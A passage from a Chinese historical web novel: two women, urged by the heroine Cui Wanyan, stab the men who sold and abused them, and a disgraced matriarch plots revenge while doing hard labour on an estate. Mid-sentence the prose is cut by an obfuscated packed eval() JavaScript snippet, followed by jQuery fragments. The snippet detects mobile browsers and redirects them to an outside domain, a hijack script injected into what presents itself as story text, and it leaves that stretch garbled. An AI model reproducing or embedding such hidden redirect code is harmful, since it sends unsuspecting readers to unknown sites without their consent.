秋娘与灵绣不约而同地沉默。
许多年了,秋娘夜里仍常被那个雨夜惊醒。
父母早亡后,她投奔了唯一的亲人,可没过多久,孙有才竟将她卖给了牙婆。
姑姑跪在地上求了整整一夜,换来了一顿打,最后她还是被送进那座红灯下的院子,成了千人骑万人压的东西。
如果不是孙有才,她的人生不会坠入泥沼。
灵绣早已坚定了心智,看向地上奄奄一息的人影。
只要他活着,她和孩子就永远不得安生。
两人抬起头看向崔莞言。
“是我来,还是由你们自己?”
灵绣心里一阵战栗,本能地害怕,可一想到腹中的孩子,她的犹豫渐渐被狠意取代。
秋娘的目光却像冷铁般沉下来,缓缓伸出手:“我来。”
崔莞言取出一柄短匕,递到她掌心。
孙有才被打得满脸是血,气息断断续续,见到秋娘靠近,竭力挤出一丝笑:“云丫头……姑父当年也是没法子啊……你饶我一条命,我再也不来找你……”
秋娘脸上没有表情,被人拖进青楼的屈辱画面再度浮上心头,她眼底闪过一点恨色,匕首顺势刺下。
鲜血从孙有才口中涌出,他眼珠突起,死命去掐秋娘的裙角,却只抓到一把枯草,喉咙里挤出几声嘶哑的呻吟,随后头一歪,再无声息。
另一边的赵二早已吓得瘫在地上,满脸是汗与灰土,嘴里打着颤:“灵绣……爹……爹是错了……你饶爹一回……爹再也不来烦你……”
灵绣望着那张满是皱纹和污泥的脸,脑中闪过自己十几年来忍气吞声的所有时刻,伸手从秋娘掌中接过那柄匕首。
赵二还在往后缩,嘴里断断续续:“灵绣,你不能这么狠……我是你爹啊……”
灵绣眼中终于没有了犹豫,只剩下一抹彻骨的冷意,举起匕首径直刺下。
刀刃破开皮肉,血顺着刀身汩汩涌出,溅在她的裙角上。
赵二惨叫一声双腿乱蹬,双手本能地去抓刀刃,指尖被划得鲜血直流,仍在嘶喊:“女儿……爹错了……爹……以后听你的……”
灵绣闭上眼,又深深一压,刀锋彻底没入胸膛。
赵二抽搐了两下,眼里最后一点光芒暗了下去,口角溢出的血一点点蜿蜒。
这一天,两个曾被命运踩入泥沼的女子,终于亲手斩断了自己的枷锁。
林间风过,血腥气被夜气一点点吹散。
灵绣十几年的恐惧与屈辱,随着那口气断绝,被风一并卷走。
胸口忽然轻了,她第一次觉得自己是自由的。
曾几何时她仍藏有防备,如今才明白,真正肯替她斩断噩梦的只有眼前人,往后她需跟紧她。
秋娘心里亦有说不出的滋味。
当初只是出身青楼的外室,如今能有个安稳的去处,是二小姐替她筹划的。
若非今夜这一刀,她这一辈子都甩不掉孙有才的阴影。
旧日的自卑与戒备在血迹里悄悄消散,只剩下由衷的感激。
这时,黑暗中又有数道黑影无声掠来。
崔莞言像是早有预料:“处理干净。”
柳枝朝那几人一挥手,暗卫们立刻分散开去,将尸体搬离。
崔莞言回头示意秋娘和灵绣跟上,三人踏着满地残影走出林子,背后只余夜风卷着带血的落叶。
-
先差人送灵绣回府后,崔莞言又一路陪秋娘到了许家铺子门口,扶着她下车,像寻常闺中姐妹般。
“你该也累了,我送你进去好好歇着。”
许氏早早候在门口,见二人一同回来,连忙迎上。
崔莞言顺势留了下来,与秋娘一道入了后堂。
“你这些日子也辛苦了,怪我没安排好,叫你受那些委屈。”
秋娘低着头,如释重负得叹了口气:“是我命贱,能得二少爷和小姐怜惜,已是福气,如今小姐又替我除了后顾之忧,我真不知该如何感谢……”
崔莞言紧握她的手,亲昵得拍了拍:“这说的哪里话?早晚是一家人不必言谢。”
秋娘心头一酸,眼角又湿润了。
崔莞言替她拭去泪,忽话锋一转:“只是我心里也有些担忧……父亲素来望重于朝,我这个哥哥又颇受器重,将来必要承爵入仕,可他总是有些事藏在心里,不肯对人说。若是在外头惹出什么麻烦,怕是会坏了前程。”
“秋娘,你随他日久,可曾听他醉酒时提起过什么……不该说的事?”
秋娘思索好一会儿,仍是摇头:“二少爷平日待我虽不薄,可向来不与我说正经事。”
“他可说过什么不着调的浑话?”崔莞言又问。
崔时不是什么正经人,偏庄氏在时事事都替他处理得滴水不漏,要想对付他并不容易。但他酒后常失言,也许秋娘听过些什么。
秋娘又低头想着,一段模糊的记忆闪进脑海。
那一晚崔时喝得酩酊大醉,被人半扶半拽进屋。
她当时才刚被赎出青楼,对这位崔家二少爷又敬又怕,只是默默替他脱去外衣。
谁知崔时却靠在榻上,嘴里断断续续吐出一句话:“孟誉这个匹夫死得好……我可是做了件大好事……”
秋娘虽是青楼女子出身,却也知道孟誉是威远将军独子,少年时便立下战功。
她不敢多问,只当崔时是酒后胡言,很快便将这件事抛诸脑后。
此刻被崔莞言的话一点,尘封的记忆就这样破土而出。
“二小姐……我忽然想起一件事,不知当说不当说。有一回二少爷醉得厉害,说孟誉死得好,说那是他做的大好事……”
说到这里,秋娘自己也觉得后背发凉,孟誉从那时至今,已经失踪了一年之久了,活不见人死不见尸……
崔莞言听完,面上并未露出分毫异色,安慰道:“你也别多想,也许他那时真是醉得糊涂,胡乱说些不着调的话罢了。二少爷与孟誉向来并无往来,又能有何仇怨?”
秋娘被她安抚得心里稍稍松了口气:“我也是这么想的,只是……那时看他神情不像胡说,如今想起总觉不安。”
“你能说出来已是帮了我。其余的事,你不必再想,也不要再提。”
秋娘点了点头,仍觉后背发凉,却被她安慰得心情渐渐安定下来。
-
一回府,崔莞言便问柳枝有关孟誉的事。
暗卫们一贯知晓京中各种情报,柳枝对孟家的事倒也了解不少:“孟誉是威远将军孟觉的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483173|181516||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
独子,少年时便随军出征,性子冲动易怒,但在军中颇有本事,孟将军素来引以为傲。一年前,孟誉曾在半夜独自出门,再没回来。孟将军派人寻遍京城乃至边关,连尸骨都未见到。那时气得又急得,险些没挺过去,如今卧病在床,怕是日子不多了。”
“小姐怎么突然问起孟誉?”
“孟誉大概已经死了,且这事,极可能同崔时有关。”
柳枝下意识摇头:“可孟誉与二少爷素无往来,从未听说他们有什么交集,更没有结怨。”
“我也想不出他们之间的牵连。可崔时酒后吐露的话,绝不会无缘无故……总得找到他和孟誉相交的那一线。”
崔莞言心中隐隐觉得,这一桩旧案,恐怕牵出的不只是孟誉的死。
“当年孟誉失踪,闹得不小。威远将军求遍刑部和京兆府,最后还是魏恪接下的案子。虽说始终没能破获,但若说京中谁最清楚当年的线索,恐怕就是魏恪。”
魏恪虽可靠,但要想查下去,就更要先把庄氏接回府了。
孟誉那桩事若真牵扯到崔时,庄氏定然知情。
天时差不多到了,该让她回来了。
-
城郊的河雾还未散尽,庄子里已响起粗厉的呵斥声。
庄氏提着一桶盐水,双手勒得通红。
她原本养尊处优肤色白净,如今脸色蜡黄面颊凹陷,下巴尖得能戳破掌心,鬓角的几缕枯发贴在脸上,手腕细得只剩皮包骨头。
“庄氏!你又磨蹭什么?这缸菜得赶紧翻!”
院口一个面色黝黑的婆子叉着腰,手里拎着竹竿,嗓音尖厉。
庄氏才刚走到缸边,还没来得及放下木桶,那竹竿就“啪”的一声抽在她肩头。
她闷哼一声,踉跄两步才稳住。
旁边几个翻菜的妇人抬头瞧见,笑得幸灾乐祸:“瞧瞧,当年在国公府里打骂下人,现在还不是得老老实实给咱们干活?老天爷有眼!”
另一个接着说:“再慢点,今天中午连稀饭都没有,看她还挺不挺得住。”
庄氏低着头,唇角抿得死紧,又提起那只破旧的木桶,手心因泡盐水破了皮,溃得红肿,一抓桶柄便一阵钻心的痛。
“快着点!今儿日头都快出来了。”
管事婆子催促着,竹竿“咚咚”敲在缸沿上。
庄氏直起腰,眼中闪过一点暗色,却只闷声应了“是”,继续翻菜。
翻到一半,一个小丫头走过来丢下一句:“管事说你干得慢,中午少你一半饭。”
说完就走了,连眼神都没往她身上扫一眼。
好不容易捱过白天,夜里更冷。
几个人挤在一间屋子里,睡在破木板上,庄氏缩在最里头的角落,身上只裹着一条发霉的旧毯子,瘦得肩胛都能撑破单衣。
庄氏被婆子的鼾声吵得睡不着,心中那团恨火越烧越旺。
她这半年受的苦,都是崔莞言在背后算计!
托人往府里送的信半途被人截下,有人想悄悄带消息给她,却连庄子的大门都没敢靠近,就被吓跑了。
半年里她不知挨了多少饿,遭了多少打骂。
可仍旧还有一口气支着她活到今天。
她要回去,让那贱人生不如死!